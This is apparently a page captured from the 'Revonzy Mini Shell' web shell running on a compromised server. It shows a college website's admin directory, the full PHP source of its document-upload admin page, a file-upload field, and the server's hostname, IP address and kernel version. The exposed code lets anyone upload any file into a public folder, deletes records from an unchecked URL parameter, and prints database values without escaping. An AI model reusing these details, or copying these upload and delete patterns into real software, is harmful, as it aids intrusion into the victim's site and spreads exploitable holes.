Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/kpmim.org/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/kpmim.org/admin/dvv-documents.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();

    if(isset($_GET['del_id']))
	{
		$del_id	=	$_GET['del_id'];
		
		$db->delete_dvv_detail($del_id);
	}	
	
					$table="";
					$serial_no="";
					$title="";
					$cfile="";
					$msg="";
					if(isset($_POST['submit']))
					{
						$table		=	$_POST['table'];
						$serial_no	=	$_POST['serial_no'];
						$title		=	$_POST['title'];
						$sequence   =   $_POST['sequence'];
						$year       =   $_POST['year'];
						
						$cfile = $_FILES['cfile']['name'];
						// image file directory
						$target = "../dvv_docs/".basename($cfile);
							if (move_uploaded_file($_FILES['cfile']['tmp_name'], $target)) 
							{
									$error_message = "file uploaded successfully";
							}
							else
							{
									$error_message = "Failed to upload file";
							}
  
						if($db->insert_dvv_details($table,$serial_no,$title,$cfile,$sequence,$year))
						{
		
							$msg=1;
						}
						else
						{
								$msg=2;
						}
					}

?>
<?php
	require_once('header.php');
?>
<style>
.form-group
{
	margin:auto;
	height:300px; 
	width:500px;
	margin-top:50px;
	
}
</style>
        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">DVV Documents</h1>
                </div>
            </div>
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                             DVV Documents
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-6">
                                    <form autocomplete="off" method="post" enctype="multipart/form-data">
				<div class="form-group">
					<?php
									if($msg==1)
									{
								?>
									<div class="alert alert-success">
									<span class="alert-link">Success! </span>Your Details Added  Successfully.
									</div>	
								<?php
									}
								?>
										
								<?php
								if($msg==2)
									{
								?>
									
									<div class="alert alert-danger">
									<span class="alert-link">Failed! </span> Your Details failed to add.
									</div>	
								<?php
									}
	?>
	
                
                    <input type = "text" name = "year" placeholder ="Enter Year" class="form-control" value="DVV Documents" required readonly>
                    
					<label for="sel1">Select Table:</label>
					<select class="form-control" id="di" name="table">
					<option value="select tabel">Select Table</option>
					<option value="0">EXTENDED PROFILE</option>
					<option value="1">CRITERION 1 – CURRICULAR ASPECTS</option>
					<option value="2">CRITERION 2 - TEACHING- LEARNING AND EVALUATION</option>
					<option value="3">CRITERION 3 - RESEARCH, INNOVATIONS AND EXTENSION</option>
					<option value="4">CRITERION 4 - INFRASTRUCTURE AND LEARNING RESOURCES</option>
					<option value="5">CRITERION 5 - STUDENT SUPPORT AND PROGRESSION</option>
					<option value="6">CRITERION 6- GOVERNANCE, LEADERSHIP AND MANAGEMENT</option>
					<option value="7">CRITERION 7 – INSTITUTIONAL VALUES AND BEST PRACTICES</option>
					</select><br>

					<input type = "text" name = "serial_no" placeholder ="Enter Serial No" class="form-control" required><br>
				
					<input type = "text" name ="title" placeholder="Enter Title" class="form-control" required><br>
					
					<input type = "number" name ="sequence" placeholder="Enter Sequence No" class="form-control" required ><br>

					<input type = "file" name="cfile" ><br>
					
					<input type="submit" name="submit" value="Submit" class="btn btn-primary col-sm-6" style="margin-left:100px;;" />
				
				</div>	
				</form>
            </div>
            
                                
                <div class="row">
                 <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                           DVV Documents
                        </div>
                        <!-- /.panel-heading -->
                        <div class="panel-body">
                            <div class="table-responsive">
                                
                                <div class="about-grids" style="width:1300px;">
		
		<table class="table table-bordered" border="1">
  <thead>
    <tr>
		<th scope="col" width="50">Sr.</th>
		<th scope="col">Year</th>
		<th scope="col">Table</th>
		<th scope="col">Serial No</th>
		<th scope="col">Title</th>
		<th scope="col">File</th>
		<th scope="col">Sequence No</th>
		<th scope="col">Date</th>
		<th scope="col">Time</th>
		<th scope="col">Delete</th>
		<th scope="col">Edit</th>
    </tr>
  </thead>
  <tbody>
  
  <?php
            $year = "-";
			$select_data	=	array();
			$select_data	=	$db->get_dvv_details($year);
			
			if(!empty($select_data))
			{
				$counter = 0;
				foreach($select_data as $record)
				{
					$res_id			=	$record[0];
					$table			=	$record[1];
					$serial_no		=	$record[2];
					$title			=	$record[3];
					$cfile			=	$record[4];
					$date			=	$record[5];
					$time			=	$record[6];
					$sequence       =   $record[7];
					$year           =   $record[8];
			?>
			<tr>
				<td scope="row"><?php echo $counter+1; ?></td>
				<td scope="row"><?php echo $year ?></td>
				<td scope="row"><?php echo $table ?></td>
				<td scope="row"><?php echo $serial_no ?></td>
				<td scope="row" style="text-align:left;"><?php echo $title ?></td>
				<td scope="row"><a href="../dvv_docs/<?php echo $cfile; ?>">View</a></td>
				<td scope="row"><?php echo $sequence ?></td>
				<td scope="row"><?php echo $date ?></td>
				<td scope="row"><?php echo $time?></td>
				<td scope="row"><a href="<?php echo $_SERVER['PHP_SELF']."?del_id=".$res_id; ?>" onclick="return confirm('Are you sure you want to delete this record?');">Delete</a></td>
				<!--<td scope="row"><a href="edit-details.php?edit_id=<?php echo $res_id;?>">Edit</a></td>-->

			</tr>
			<?php
					$counter++;	
				}
			}
	?>
  </tbody>
</table>

		<div class="clearfix"></div>
		</div>
                                
                            </div>
                            <!-- /.table-responsive -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
             
                <!-- /.col-lg-6 -->
            </div>
                                
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4